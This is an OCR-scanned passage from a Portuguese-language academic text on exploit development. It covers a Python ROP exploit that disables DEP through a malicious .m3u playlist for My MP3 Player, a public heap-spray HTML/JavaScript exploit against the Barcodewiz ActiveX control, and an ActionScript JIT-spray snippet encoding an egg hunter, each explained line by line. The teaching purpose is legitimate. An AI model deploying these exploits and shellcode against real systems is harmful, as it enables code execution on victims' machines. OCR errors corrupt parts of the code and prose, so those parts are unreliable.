"\x46\x50\x45\x47\x45\x4e\x4b\x58\ x4 f\x45\x46\x52\x41\ x50\ x4b\x4e\x48\x56\x4b\x58\x4e"
"\ x50\ x4b\x44\x4b\x48\ x4\ x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38\x41\x50"
"\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33\x42\x4c\x46\x46\x4b\x38\x42"
"\x44\x42\x53\x45\x38\x42\x4c\x4a\x47\x4e\x30\x4b\x48\x42\x44\ x4e\ x50\ x4b\x58\x42\x37"
"\x4e\x51\x4d\x4a\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\ x50\ x4b\x38\x42\x58\x42\x4b\x42"
"\x50\x42\x50\x42\ x50\ x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53\x48\ x4\ x42\x46\x48\x35"
"\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57\x42\x45\x4a\x36\x42\ x4\ x4c\x38\x46\x30\x4f"
"\x35\x4a\x46\x4a\x39\ x50\ x4 f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")

buffer = "\x41" * 1024
eip = "\x99\x13\x09\x5d"
rop = "\x42" * 4

rop += "\x8c\x39\x09\x5d"
rop += "\xff\xff\xff\xff"
rop += "\x28\x90\x12\x77"
rop += "\x44\x94\x12\x77"
rop += "\x44\x21\x86\x7c"
rop += "\x36\x1c\x12\x77"
rop += "\x37\x1c\x12\x77"
rop += "\xd4\xla\x12\x77"
rop += "\x37\x1c\x12\x77"
rop += "\xf7\x8c\x14\x77"
nops "\x90" * 20

junk = "\x42" * (2000 - len(nops + shellcode + rop))

RETN - COMCTL32
# junk to compensate
POP EBX, RETN - COMCTL32

INC EBX, RETN - OLEAUT32
POP EBP, RETN - OLEAUT32
SetProcessDEPPolicy

POP EDI, RETN — OLEAUT32
RETN - OLEAUT32

POP ESI, RETN - OLEAUT32
RETN - OLEAUT32

PUSHAD, RETN - OLEAUT32

HHEHHHHIEHE B O

print "[+] Creating malicious .m3u file"
try:
file = open("exploit.m3u","w")
file.write(buffer + eip + rop + nops + shellcode + junk)
file.close()
print "[+] File created"
except:
print "[x] Could not create file"

raw_input("\nPress any key to exit...\n")

Na primeira linha do exploit, desenvolvido na linguagem de programacéo
Python, a variavel buffer é inicializada com 1024 bytes, necessarios para preencher o
espaco compreendido entre o buffer estourado e o endereco de retorno da funcdo. Em
seguida (linha 33), a variavel “eip” guarda o valor a ser escrito no endereco de retorno.
Como o DEP esta ativo para 0 processo atacado, ndo é possivel usar a edtratégia
tradicional em estouros de pilha, que consiste em saltar direto para o shellcode
armazenado na propria pilha (usualmente desviando para o endereco apontado por ESP

B http://www.exploit-db.com/expl 0its/17854/ (O endereco da funcdo “SetProcessDEPPolicy”
(0x7C862144) foi alterado em relacdo ao valor contido no exploit original para refletir sualocalizagdo no
Windows XP SP3 English, usado durante os testes).
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com uma instrucdo da forma “JMP ESP’). Antes de saltar para o shellcode, o exploit
trata de desabilitar o DEP. Para isso, 0 vaor que iré sobrescrever o endereco de retorno
corresponde ao endereco de umainstrucdo RETN existente na biblioteca“COMCTL32"
(0x5D091399). Esse € 0 primeiro gadget executado pelo payload malicioso, assim que 0
fluxo de execucéo € subvertido.

Em seguida, a cadeia de instrugdes ROP comega a ser construida na variavel
denominada “rop” (linhas 34 a 44). A Figura 1.8 ilustra o formato da cadeia ROP
estabelecida nesse exploit. As setas tracgjadas indicam o momento em que cada
endereco ou dado armazenado na pilha é utilizado por umainstrugcdo. As setas continuas
representam a sequéncia de execucao dos gadgets escol hidos.

Pilha Gadgets Registradores
S
Enderego: 0x00000000 My_MP3
_ |n£?da egﬁqﬁo end:0050A1DD
50091399 Btk RETN 4 ~——

42424242
5D09398C -
FFFFFFFF=-1 -

77129028 .
77129444 .

7C862144 -

77121C36 . H

77121C37 ] |

77121AD4 S iii  OLEAUT32 _ = = RETN | _
R A —  end 77120444 | | ~eemmmmmmmmm. o' - (862144
77148CF7 e SRR L » POPEBP - \__OLEAUT32

NOPs P i » RETN — end:77121C36
o Shellcode i X
SR i .. *RETN
Endereco: OxFFFFFFFF . OLEAUT32 T, ESI = 77121C37
. i : |
Pilha apés PUSHAD L e“';gng;“l\D‘_‘____; . OLEAUT32
L EsrRegisti | » RETN end:77148CF7
N 2 = NI e - PUSHAD
AT 1 [———
AP = I S— \ I
7C862144 = EBP»-—-§------—----7 1 N

.
end:77121C37 \_ OLEAUT32
----= RETN — end:77121C37

End. NOP=ESP e} cccceeen..
00000000 = EBX

Lixo = EDX e = RETN

Lixo = ECX - N ’

Lixo = EAX RN kernel32

NOPs <« i  end:SetProcessDEPPolicy
Desvia ofluxode| :
. Shellcode exec. para NOPs | ! st
O + Shellcode 1. - - . [ + RETN

Enderego: OxFFFFFFFF ]

Figura 1.8. Estrutura da pilha e fluxo entre gadgets do exploit apresentado na Listagem 1.6.

O primeiro valor escrito navariavel “rop” (linha 34 dalistagem 1.6) corresponde
a um simples gjuste de deslocamento na pilha, pois a instrucdo de retorno “RETN 4”
(endereco O0xO050A1DD), que d& inicio a exploragdo ao sdtar para 0 enderego
sobrescrito na pilha (0x5D091399), realiza também o incremento do ponteiro de topo da
pilha (ESP) em 4 unidades. Na linha 35, € inserido o endereco do segundo gadget. A
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partir desse ponto, os valores escritos na variavel “rop”, usados para sobrescrever a pilha
conforme apontado na Figura 1.8, sdo enderegos para gadgets ou valores que os gadgets
utilizam para construir, na prépria pilha, os pardmetros de chamada da funcéo
“SetProcessDEPPolicy”.

Para desabilitar o DEP, a fungéo “SetProcessDEPPolicy” recebe apenas um
parametro, de valor zero. Acima desse valor, é colocado 0 endereco inicial da sequéncia
de instrucbes NOP, que precedem o shellcode (linha 45 do exploit). Esse endereco €
usado pela fungdo como endereco de retorno, o que garante a execucdo do shellcode
imediatamente apds 0 DEP ser desabilitado.

Para estabelecer essa estrutura, o exploit utiliza a instrugdo PUSHAD, que
empilha de uma Unica vez o vaor de todos os registradores de uso gera na pilha, na
seguinte ordem: EAX, ECX, EDX, EBX, ESP, EBP, ESl, EDI. Esse empilhamento é
representado na Figura 1.8 pela “Pilha apos PUSHAD”. Os vaores de EAX, ECX e
EDX sdo irrelevantes. EBX é usado para guardar o valor zero, passado como parametro
para a funcdo “SetProcessDEPPolicy”. Como ndo € possivel inserir bytes nulos
diretamente na pilha, o valor OxFFFFFFFF (-1) € carregado em EBX por um gadget que

contém ainstrucéo “POP EBX”. Em seguida, é usado um gadget com ainstrugéo “INC
EBX” paraincrementar o valor desse registrador, tornando-o igual a zero.

O vador de ESP anotado na pilha corresponde a regido da pilha exatamente
anterior aos valores anotados pela instrucdo PUSHAD. Esse valor € aproveitado como
endereco de retorno a ser passado para a fungdo “ SetProcessDEPPolicy”, forcando-a a
retornar o fluxo de execucéo direto para o shellcode (precedido por NOPs). Os
registradores EBP, ESI e EDI sdo sobrescritos por gadgets compostos por instrucdes do
tipo “POP”, que carregam valores da pilha direto nesses registradores. EBP € usado para
armazenar o endereco da funcdo a ser chamada (0x7C862144). Os registradores ES| e
EDI guardam o endereco de um gadget composto apenas pela instrucdo RETN. Esse
gadget € usado duas vezes para deslocar o ponteiro para o topo da pilha em 8 bytes (2
deslocamentos de 4 bytes). Apds esses deslocamentos, o apontador para o topo da pilha
estara apontando para o endereco da fungéo “ SetProcessDEPPolicy”, que finalmente é
chamada ao executar ainstru¢cdo RETN contida no penaltimo gadget.

Ao terminar sua execucgdo, a funcgéo “ SetProcessDEPPolicy” usa 0 endereco de
retorno armazenado na pilha pela instrucdo PUSHAD (correspondente ao valor contido
em ESP no momento em que a instrucdo PUSHAD executa), 0 que desvia o fluxo de
execucao para o shellcode. Como nesse momento o DEP ja foi desativado pela funcéo
“SetProcessDEPPolicy”, o shellcode executa normalmente, mesmo estando localizado
na pilha

Na linha 46 do exploit, € criada uma varidvel de nome “junk”, que tem a funcéo
apenas de completar o tamanho do shellcode para garantir que o arquivo malicioso
criado pelo exploit tenha 2000 bytes. Dalinha 47 a 57, 0 arquivo de saida € escrito e so
impressas na tela mensagens indicando a criacdo do arquivo denominado “exploit.m3y”.
Esse arquivo simula uma lista de misicas a serem reproduzidas pelo software. Ao ler os
dados desse arquivo, o software “My MP3 Player” desencadeia 0 ataque, que executa a
calculadora do Windows (shellcode).
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1.4.3. Heap Spraying

Heap Spraying ndo é uma técnica usada diretamente para executar cddigos maliciosos.
Ao invés disso, ela € empregada para disponibilizar o shellcode em uma posicéo de
memoria relativamente previsivel. Por isso, €la é eficaz na superacdo da protecédo
oferecida pelo ASLR. Com o auxilio do Heap Spraying, apés explorar uma
vulnerabilidade que permita subverter o fluxo de execugdo, pode-se desviar o fluxo para
o shellcode, mesmo que o ASLR estgja habilitado (desconsiderando-se protectes
relacionadas ao bit NX/XD) [Ding et a., 2010].

Para isso, explora-se uma caracteristica do mecanismo de alocagcdo de memoéria
comum nos sistemas operacionais modernos. o ainhamento da meméria. Esse
alinhamento, implementado para melhorar o desempenho das operacdes de manipulacdo
da memodria, estabelece que blocos de memaria alocados para um processo ndo podem
iniciar a partir de qualquer endereco. Ao inveés disso, o endereco inicial deve ser um
muUltiplo de algum valor predeterminado. No Windows, esse valor € 64KB. No Linux, as
alocactes de memoria sdo alinhadas em 4K B.

A estratégia utilizada pel os atacantes consiste em forcar a alocacéo sequencial de
véarios grandes pedacos de dados contendo o shellcode, precedido por operactes NOP.
Como os blocos sempre sdo alinhados, € possivel prever a posicdo relativa de um
endereco qualquer dentro de um bloco alocado. A titulo de exemplo, considere o
endereco OXOAOAOAOA, comumente utilizado em exploragbes de Heap Spraying. A
Figura 1.9 ilustra o resultado de uma alocacdo sequencial de pedagos de 256KB
preenchidos por NOPS e um shellcode. Em funcdo do alinhamento dos blocos, que
sempre comegam em enderecos multiplos de 64K B, o endereco OXOAOAOAOA sempre
apontara para uma entre quatro posi¢des do pedaco alocado nagquela regido, dependendo
de onde o bloco se inicia Em todos os casos, para shellcodes menores do que
O0xOA0B0000 — OXOAOAOAQA = OxF5F6 = 62966 bytes (quase sempre os shellcodes
sd0 menores do que 1000 bytes), posicdo apontada pelo endereco OXOAOAOAOA
sempre correspondera a uma instrugdo de NOP. Portanto, se o fluxo de execugéo for
desviado para esse enderego, as instrucdes NOP serdo executadas em sequéncia até

atingir o shellcode.
Enderego de Meméria

0AQ7 0AO8 0A09 OADA 0A0A 0A07 0AQ7 0A07 0AQ7

0000 0000 0000 0000, OAOA 0000 0000 0000 0000
: ; e - : -
NOPs : =y
wors —

4 possibilidades

de posicionamento de um | NOPs 3,';';2
bloco de 256KB em um l :

alinhamento de 64KB :

Figura 1.9. Alocagao sequencial de pedacos de 256KB em memodria alinhada em 64KB [Ding et al., 2010].

o -

Para forcar a alocacdo sequencia de novos blocos de dados, o que garante o
alinhamento, € necessario primeiramente ocupar 0s espacos vazios ja liberados pela
aplicacdo. Blocos novos somente sdo alocados pelo sistema caso ndo existam pedacos
reciclaveis de tamanho suficiente para acomodar 0 espaco requisitado. Por isso, 0s
atacantes disparam a alocacdo de uma grande quantidade de blocos grandes. Assim,
rapidamente 0s espacos vazios que comportam o dado a ser armazenado sdo exauridos e
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0 sistema € obrigado a alocar novos pedacos de memoria no heap. Ao alocar novos
blocos, o gerenciador do heap procura posicionalos de forma adjacente, a fim de
minimizar afragmentacdo da memaoria. No Windows, esses novos pedagos sdo alocados
pela funcédo “VirtualAlloc”, que posiciona-0s em sequéncia [Recx, 2011]. Dessa forma,
ndo ocorre qualquer tipo de embaralhamento dos enderecos de dados alocados por essa
funcdo, contrariando o0 que preconiza o ASLR e permitindo a superacdo dessa protecao.

Uma vez que o atacante precisa possuir a capacidade de forcar a alocacéo de
grandes quantidades de memdria em sequéncia, foi proposto o emprego de Heap
Soraying contra aplicacbes que, internamente, dao suporte a linguagens de
programagdo. Por conta disso, desde 2004, essa técnica tem sido amplamente utilizada
para explorar falhas em navegadores web™. No entanto, existem exploits publicos que a
empregam para explorar vulnerabilidades em outras aplicagdes, como o Acrobat
Reader’> e o Microsoft Office. Posteriormente, foi apresentada a possibilidade de
forcar a alocacdo de espaco para 0 shellcode através da inser¢do, em paginas web, de
imagens construidas com o codigo malicioso em seu interior’. Dessa forma, nem
mesmo politicas de seguranca extremas, como desabilitar a execucéo de scripts pelo
navegador, podem impedir um ataque baseado em Heap Spraying.

No entanto, o procedimento mais comum ainda € utilizar alguma linguagem de
scripts ou de macros para inserir os blocos no heap. Em navegadores, normalmente a
linguagem Javascript € usada para alocar variaveis cujo conteldo corresponde a
instrucdes NOP seguidas pelo shellcode. A quantidade de instrugdes NOP € escolhida
de modo que o tamanho final de um bloco corresponda a um muiltiplo exato do
alinhamento de memoria. Para sistemas onde o ainhamento de memaoria ocorre em
64KB, como o Windows, € comum a alocagdo de variaveis com 256KB. Em menor
guantidade, existem também exploits e estudos que apontam para 0 uso de Heap
Soraying no Linux®® [Hsu et a., 2010].

O cbdigo apresentado na Listagem 1.7 apresenta um exploit publico que utilizaa
técnica de Heap Spraying para inserir o shellcode na memoria. Nesse artefato,
divulgado em 30 de julho de 2010, é explorada uma vulnerabilidade tradiciona de
estouro de pilha no software “Barcodewiz” .

'* Exemplos de exploits que exploram fahas em navegadores:
http://skypher.com/wiki/index.php?title=www.edup
http://www.exploit-db.com/exploits/1224 , /7673 , /15746 , /17960 , /17520 , /19141 , /18847

15 Exemplos de exploits que exploram falhas no Acrobat Reader:
http://www.metaspl oit.com/modul es/expl oit/multi/fil eformat/adobe_u3d_meshcont
http://www.expl oit-db.com/expl oits/16619

' Exemplo de exploit que explora falha no Microsoft Office: http://www.exploit-db.com/expl oits/6878

'7 Exempl os de exploits que utilizam imagens para alocar espaco no heap:
http://www.blackhat.com/presentati ons/bh-usa-06/BH-U S-06-Sutton. pdf
https.//www.owasp.org/images/0/01/OWASL _IL_2010 Jan - Moshe Ben Abu -

_Advanced_Heapspray.pdf

'8 Exemplos de exploits para Linux que usam Heap Spraying:
http://svn.secmani ac.com/fasttrack/bin/expl oits/firefox35.py
http://mww.metaspl oit.com/modul es/expl oit/multi/fileformat/adobe_u3d_meshcont

19 http://ww.expl oit-db.com/expl oits/14519/
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Listagem 1.7. Cédigo de exploit que utiliza Heap Spraying para enxertar o shellcode.

<html>
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object>
<script language='javascript'>

// Payload is win32_exec - calc.exe
shellcode = unescape( %uc931%ue983%ud9desud9eesu2474%u5bT4%u7381%u3d13%u5e46%u8395 ' +
sufcebsufde2%uaeclsu951la%sud63d%sud0d5%ucd01%u9022%ud745%ulebl ' +
%u5e72%ucad5%u471dsudcb5%u72b6%u94d5%u77d3%u0c9e%suc291%uele ' +
%U873a%u9894%uB843c%u61b5%ul206%u917a%ua348%ucad5%ud719%uf3b5 "'+
'%u4ab6%u1e15%u5a62%u7e5f%uSabG%u94d5%ucfd6%ub102%u8539%u556f'+
%sucd59%ua51le%su86b8%u9926%u06b6%ule52%uSaddsulef3%sude55%u9ch5 ! +
%UC6bb6%u95ee%u463d%sufdd5%ul901%su636T%ul05dsu6dd7%u86besuc525"' +
%U3855%U7786%u2ede%subbc6%ud48b7%u6a09%u25dasuf93f%ud65e%u9s5e’ ) ;

nops=unescape( '%u9090%u9090"') ;

headersize = 69; //size adjusted for IE6/IE7 "universality"

slackspace= headersize + shellcode.length;

while(nops.length<slackspace) nops+=nops;
fillblock=nops.substring(0,slackspace);
block=nops.substring(0,nops.length-slackspace);
while(block.length+slackspace<0x40000) block=block+block+fillblock;
memory=new Array();

for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;
ret="'";

for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a") ;

target.LoadProperties(ret);
</script>
</html>

A sequéncia de atividades em um exploit que utiliza Heap Spraying para
disponibilizar o shellcode em memoria € sempre a mesma. Primeiro, o shellcode é
inserido na memoria através do Heap Spraying. Depois, a vulnerabilidade existente na
aplicacdo € explorada para obter-se controle sobre o conteldo do registrador EIP.
Finalmente, o contelido de EIP é sobrescrito com o endereco que sabidamente aponta
para a sequéncia de instrugdes NOP que levam ao shellcode (ex: OAOAOAOQA).

O exploit apresentado na Listagem 1.7 inicia com a tag <html> (linha 1), que
marca o inicio da pagina web. Em seguida (linha 2), um objeto da aplicagdo auxiliar
(Barcodewiz) é carregado e recebe o identificador “target”. A linha 3 indica o inicio do
codigo Javascript. Da linha 7 a linha 14, a varidvel denominada “shellcode” é
inicializada com uma string que contém o codigo hexadecimal do shellcode (calc.exe).
Como as varidveis do tipo string sdo automaticamente convertidas pelo interpretador da
linguagem Javascript para o formato Unicode, € utilizada a funcdo “unescape’ que,
juntamente com o indicador %u, ilude o interpretador ao assinalar que os dados ja estéo
no formato Unicode.

Uma caracteristica importante dos dados gerados através dessa estratégia € que
eles passam a ser indicados pelo atributo “length” da variavel de destino como se
tivessem a metade do seu tamanho real, medido em bytes. Apesar disso, o tamanho dos
dados escritos na memaria obedece o tamanho da entrada (tamanho real). O shellcode
usado nesse exploit, por exemplo, que possui 160 bytes, € indicado pela expresséo
“shellcode.length”, da linha 18, como se possuisse apenas 80 bytes. Ao efetuar os
calculos para gustar o tamanho do bloco a ser alocado, € importante ter isso em mente.
Outra caracteristica peculiar inerente a fungdo “unescape’ decorre da necessidade de
expressar em ordem invertida cada par de bytes que sucedem o indicador %u. Se o
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programador desgjar inserir a string “UFAM” (0x5546414D), por exemplo, devera fazé-
lo conforme o seguinte formato: unescape('%u4655%ud4DA41").

A linha 16 inicializa a variavel denominada “nops’ com uma string que
corresponde a quatro instrugdes NOP. A linha 17 estabelece na variavel intitulada
“headersize” um deslocamento de 69 bytes referente a posicdo do shellcode, para
garantir que o exploit funcione tanto na versdo 7 quanto na versdo 6 do Internet
Explorer. Na linha 18, a varidvel “dackspace” € usada para calcular o espaco a ser
ocupado pelo shellcode dedocado. Na linha 19, a variavel “nops’ € expandida
concatenando-a com ela mesma até que seu comprimento (a metade de seu tamanho)
sgjaigua ou maior do que o espagco ocupado pelo shellcode deslocado. Na linha 20, a
funcdo “substring” é utilizada para preencher avariavel “fillblock” com a quantidade de
NOPs equivalente a0 espaco ocupado pelo shellcode deslocado. O mesmo procedimento
é efetuado para preencher a variavel “block” com uma quantidade de NOPs equivalente
a diferenca entre o comprimento da variavel “nops’ e o espaco ocupado pelo shellcode
dedocado (linha 21). Na linha 22, a variavel “block” € expandida até que seu
comprimento, somado ao espaco ocupado pelo shellcode deslocado, sejaigual ou maior
do que 0x40000 (256K). Ao término desse lago, o comprimento da variavel “block”
corresponde a 261995 e seu tamanho real € de 523990 bytes.

Nalinha 23, um arranjo € instanciado com o0 nome “memory”. Na linha 24, esse
arranjo é usado para forcar a alocacdo dos blocos no heap. Cada uma das 250 entradas
do arranjo € montada a partir da concatenagéo do contetdo da variavel “block” com o
contelido da variavel “shellcode’. Assim, o exploit for¢a a alocacéo de 250 blocos com,
no minimo, 524150 bytes, pois esse é o tamanho real de cada uma das entradas do
arranjo. Nas linhas 25 e 26, o exploit inicializa a variavel “ret” com 4004 ocorréncias
em segquéncia do valor OxOA. Essa variavel armazena o valor que ira causar o estouro na
pilha e sobrescrever o endereco de retorno. Note que, como o endereco para onde se
pretende saltar € composto por quatro bytes idénticos (0XOAOAOAOA), ndo € necessario
calcular o deslocamento preciso entre o inicio do buffer e o enderego de retorno. Ao
invés disso, basta garantir que todos os bytes da pilha serdo sobrescritos pelo valor
OxOA. Finamente, através do identificar “target”, a funcéo vulnerével (LoadProperties)
é acionada (linha 28) passando-se a string contida em “ret” como parémetro, o que
ocasiona o0 estouro da pilha e o consequente desvio do fluxo de execucdo para as
instrucbes NOP que precedem o shellcode. As linhas 29 e 30 apenas marcam,
respectivamente, o fim do codigo Javascript e da pagina html.

Convém destacar que ao efetuar um Heap Spray ndo ha a preocupacdo quanto a
caracteres invalidos, pois o contelido € armazenado diretamente na meméria. Os valores
atribuidos as variaveis ndo sdo interpretados por nenhum programa, que poderia
verificar se os dados se adequam a algum formato esperado. Apesar disso, a entrada
responsavel por lancar a exploracdo da vulnerabilidade ainda pode estar sujeita a
restricoes.

Se a técnica de sobrescrita de um tratador de excecOes estiver sendo usada para
desviar o fluxo de execucéo em um exploit que emprega Heap Spraying, € importante
notar que a eventual protecéo oferecida pelo SAFESEH néo tera eficacia. Conforme
explicado na secdo 1.3.1.3, protecdo sO € efetiva contra desvios para modulos
carregados pelo processo. Como na técnica de Heap Spraying o fluxo de execucdo é
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desviado para 0 heap, essa protecdo néo interrompe o atague, ainda gque todos os
maodulos tenham o SAFESEH habilitado.

Outro uso interessante de Heap Soraying ocorre quando se explora a sobrescrita
de um ponteiro para alguma funcdo em uma tabela virtual. Para concretizar esse tipo de
exploracao, € necessario criar uma cadeia de ponteiros apontando para outros ponteiros,
gue culmine no endereco do shellcode. Apesar de normalmente ser um enorme desafio
construir estrutura, € possivel utilizar instrucbes de apenas um byte cujo
comportamento se assemelhe a um NOP para efetivar esse tipo de exploragdo, quando
aliada a técnica de Heap Sporaying. Se a concatenacdo de quatro opcodes dessa instrucéo
formar um endereco de heap que aponte para a sequéncia de instrugdes NOP que
precedem o shellcode, pode-se usar esse valor tanto como NOP quanto como enderego
de destino do salto.

O opcode 0xOC é um exemplo amplamente utilizado. Esse valor designa a
instrucéo “OR AL, 0C”, que — para exploits baseados em Heap Spraying — ndo causa
qualquer efeito colateral e, por isso, pode ser encarado como um NOP. Além disso, o0
endereco OXOCOCOCOC aponta para a sequéncia de NOPs que precede o shellcode no
heap. Assim, se os NOPs (0x90) forem substituidos por OxOC, ao dereferenciar
(dereference) o ponteiro apontado para o endereco 0XOCOCOCOC, o novo ponteiro
acabara no mesmo endereco. N&o importa quantos ponteiros em sequéncia segjam
dereferenciados, no final, o fluxo de execucdo sera desviado para o0 endereco
0x0COCOCOC. Nesse ponto, os bytes OxOC seréo encarados como instrucoes de NOP e
levardo o fluxo de execucdo até o shellcode, exatamente como em um Heap Spray
convencional [Eeckhoutte, 2011]. Isso explica porque boa parte dos exploits publicos
baseados em Heap Spraying utilizam o endereco OXOCOCOCOC. No entanto, devido a
sua frequéncia em exploits desse tipo, essa sequéncia de bytes também aparece
regularmente nas assinaturas utilizadas por Sistemas de Deteccdo de Intruséo.

Um fator importante que deve ser considerado ao escrever exploits que utilizam
Heap Spraying € o tempo de execucdo consumido pela rotina de alocacéo de blocos no
heap. Durante o lago de atribuicdo de valores as posi¢des do arranjo, 0 navegador pode
parecer estar “travado”. Se essa situag8o se prolongar, 0 usuario acabara encerrando a
aplicagdo. Por isso, convém encontrar o balanceamento ideal entre o tamanho dos
blocos a serem al ocados e a quantidade de iteragdes no lago.

Vérias solugdes foram propostas na tentativa de barrar ataques baseados em
Heap Spraying. Nozzle, incorporado parcialmente ao Internet Explorer, previne a
alocacdo de sequéncias recorrentes de bytes que correspondam a codigos de instrugdes
[Ratanaworabhan et al., 2009]. Assim, esse mecanismo impede ainser¢ao repetitiva dos
NOPs que precedem o shellcode. BuBBle, por sua vez, previne a aocagéo recorrente de
blocos com 0 mesmo contelido (ex: uma longa sequéncia de NOPs seguida por um
shellcode) [Gadaleta et al., 2010]. Essa estratégia esta implementada no Firefox. Ambas
as protegOes sdo eficazes na contencdo de ataques tradicionais de Heap Spraying, como
aquele exemplificado na Listagem 1.7. No entanto, ja foi demonstrado que essas defesas
podem ser superadas. Peter Van Eeckhoutte demonstrou uma abordagem que permite
executar 0 Heap Spraying com sucesso nos navegadores Internet Explorer 9 e 10, e no
Firefox 9 [Eeckhoutte, 2011]. Ele diversifica as instrucdes correspondentes a sequéncia
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de NOPs e embaralha a maior parte do contelido de cada bloco para garantir que cada
pedaco a ocado tenha um contetido diferente dos demais, apesar do mesmo tamanho.

1.4.4.JIT Spraying

JIT Spraying é o nome de uma técnica de desenvolvimento de exploits idealizada por
Dionysus Blazakis [Blazakis, 2010]. Trata-se de uma evolucdo da técnica de Heap
Soraying, na medida em que ela utiliza o mesmo artificio de inundar o Heap com varios
blocos contendo o shellcode. Por isso, através do JIT Soraying também € possivel iludir
a protecéo oferecida pelo ASLR. No entanto, JIT Spraying diferenciase de Heap
Spraying pela maneira como o codigo é inserido. No JIT Spraying, os blocos séo
introduzidos na forma de instrugdes, que antes de serem executadas, passam por um
compilador de tempo real (Just In Time —JIT). Esse tipo de compilador tem a funcéo de
converter os codigos intermediarios (bytecodes), usados em linguagens de programacéo
interpretadas, para instru¢es na linguagem da méquina. Portanto, os codigos gerados
por um compilador JIT sdo marcados com o bit de execucéo, para que as instrucoes
possam ser executadas no momento oportuno. Essa caracteristica confere a0 JIT
Soraying a capacidade de superar também o DEP.

Em funcdo da popularidade acancada pelos ataques de Heap Spraying, os
principais navegadores web do mercado logo incorporaram estratégias de defesa contra
ataques baseados na linguagem JavaScript. Isso dificulta também a consolidacdo de
estratégias de JIT Spraying usando essa linguagem. No entanto, Dion Blazakis
demonstrou que é possivel explorar comportamentos previsiveis do compilador JT da
linguagem ActionScript, usada por aplicacdes Flash, para construir exploits baseados
em JIT Spraying [Blazakis, 2010].

O autor constatou que sequéncias de operacdes logicas de “OU-exclusivo”
(XOR) escritas em ActionScript sdo convertidas para sequéncias de instrucdes de
maguina XOR. Além disso, Dion observou que poderia inserir os codigos relativos a
instrucbes de um shellcode na forma de operandos para essas operagfes XOR. A
Listagem 1.8 apresenta um exemplo de codigo em ActionScript que utiliza a operacé@o
XOR (operador ") para inserir valores que correspondem a um shellcode do tipo Egg
Hunter.

Listagem 1.8. Cadigo para insercédo de shellcode via operagdes XOR de ActionScript.

var jit=(0x3c909090 ~ 0x3c90d231 "~ 0x3cffca80 ~ Ox3cOfce80 ™ Ox3c429090 "~ 0x3c026a52 *
0x3c2ecd58 ~ 0x6a90053c ~ Ox6a905a5a ~ 0x3c90d874 ~ 0x31b85959 ~ Ox3c900733 *
Ox6aaffa8b ~ 0x6aafdl75);

Ao ser traduzido pelo compilador JT de ActionScript, o codigo acima é
convertido no cédigo de maguina apresentado na coluna da esquerda da Tabela 1.6.
Observa-se que a primeira instrugdo carrega a primeira constante no registrador EAX.
Todas as demais instrucdes realizam uma operacao de XOR entre o contelido de EAX e
uma constante assinalada na propriainstrucéo (operando imediato).
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Tabela 1.6. Cédigo convertido pelo compilador JIT, a partir do 1° byte e a partir do 2° byte.

Cadigo original (sem deslocamento) Caodigo a partir do 2° byte (deslocado em 1 byte)
End.rel.  Cod. (hexa) Assembly End.rel. Cod. (hexa) Assembly
0x0 B8 9090903C MOV EAX,3C909090 0x1 90 NOP
0x5 35 31D2903C  XOR EAX,3C96D231 0x2 90 NOP
OxA 35 80CAFF3C  XOR EAX,3CFFCA80 0x3 90 NOP
OxF 35 80CEOF3C  XOR EAX,3COFCE80 0x4 3C 35 CMP AL, 35
0x14 35 9090423C  XOR EAX,3C429090 0x6 31D2 XOR EDX, EDX
0x19 35 526A023C  XOR EAX,3C026A52 0x8 90 NOP
Ox1E 35 58CD2E3C  XOR EAX,3C2ECD58 0x9 3C 35 CMP AL, 35
0x23 35 3C05906A XOR EAX,6A90053C 0xB 80CA FF OR DL,FF
0x28 35 5A5A906A  XOR EAX,6A905A5A OxE 3C 35 CMP AL, 35
0x2D 35 74D8903C  XOR EAX,3C90D874 0x10 80CE OF OR DH,OF
0x32 35 5959B831  XOR EAX,31B85959 0x13 3C 35 CMP AL, 35
0x37 35 3307903C  XOR EAX,3C900733 0x15 90 NOP
0x3C 35 8BFAAF6A  XOR EAX,6AAFFA8SB 0x16 90 NOP
0x41 35 75D1AF6A  XOR EAX,6AAFD175 0x17 42 INC EDX

0x18 3C 35 CMP AL, 35
0x1A 52 PUSH EDX
0x1B 6A 02 PUSH 2
0x1D 3C 35 CMP AL, 35
Ox1F 58 POP EAX
0x20 (D 2E INT 2E
0x22 3C 35 CMP AL, 35
0x24 3C 05 CMP AL,5
0x26 90 NOP
0x27 6A 35 PUSH 35
(continua ...)

Conforme discutido na secdo 1.4.2, a arquitetura x86 possui instrugdes de
tamanhos variados. Em funcéo disso, ndo ha restri¢es de alinhamento para o acesso a
instrucbes na memoria. Qualquer byte pode ser acessado como se fosse o inicio de uma
instrucdo. Essa caracteristica € explorada pela técnica de JIT Spraying que, conforme
indicado na segunda coluna da Tabela 1.6, acessa 0 codigo a partir do seu segundo byte.
Dessa forma, os valores inseridos pelo atacante e interpretados pelo compilador JIT
como constantes de uma operagdo XOR, passam a ser interpretados pelo processador
como instrucdes.

Repare que o codigo apresentado na coluna direita da Tabela 1.6 € semelhante as
primeiras instrucdes do cédigo de Egg Hunter apresentado na secéo 1.4.1. De fato, o
codigo indicado na Listagem 1.8 e reproduzido (apds ser compilado) na coluna esquerda
da Tabela 1.6 executa a funcéo de um Egg Hunter, caso sgja acessado a partir do seu
segundo byte. Na coluna direita da tabela, o codigo foi cortado apenas por economia de
espaco, mas ele representa exatamente as primeiras instrucdes que serdo executadas pelo
processador caso o0 cddigo original seja acessado a partir do segundo byte.

Note que o codigo inserido pelo atacante requer ligeiras adaptacbes, a fim de
neutralizar o efeito produzido pela insercdo do byte 0x35. Esse byte, adicionado pelo
compilador JIT, corresponde ao codigo de operacdo da instrucdo XOR. Para torné-lo
sem efeito, insere-se 0 byte Ox3C imediatamente antes da sua posicdo. Assm, O
processador executa a instrucéo “CMP AL, 35" ao encontrar a sequéncia 0x3C35. Na
maior parte do tempo, essa instrucéo tem funcédo equivalente a um NOP, pois ndo altera
o funcionamento do shellcode. Entretanto, quando o shellcode necessitar efetuar algum
desvio condicional, ela deve ser substituida por outrainstrucéo sem efeito. Nesses casos,
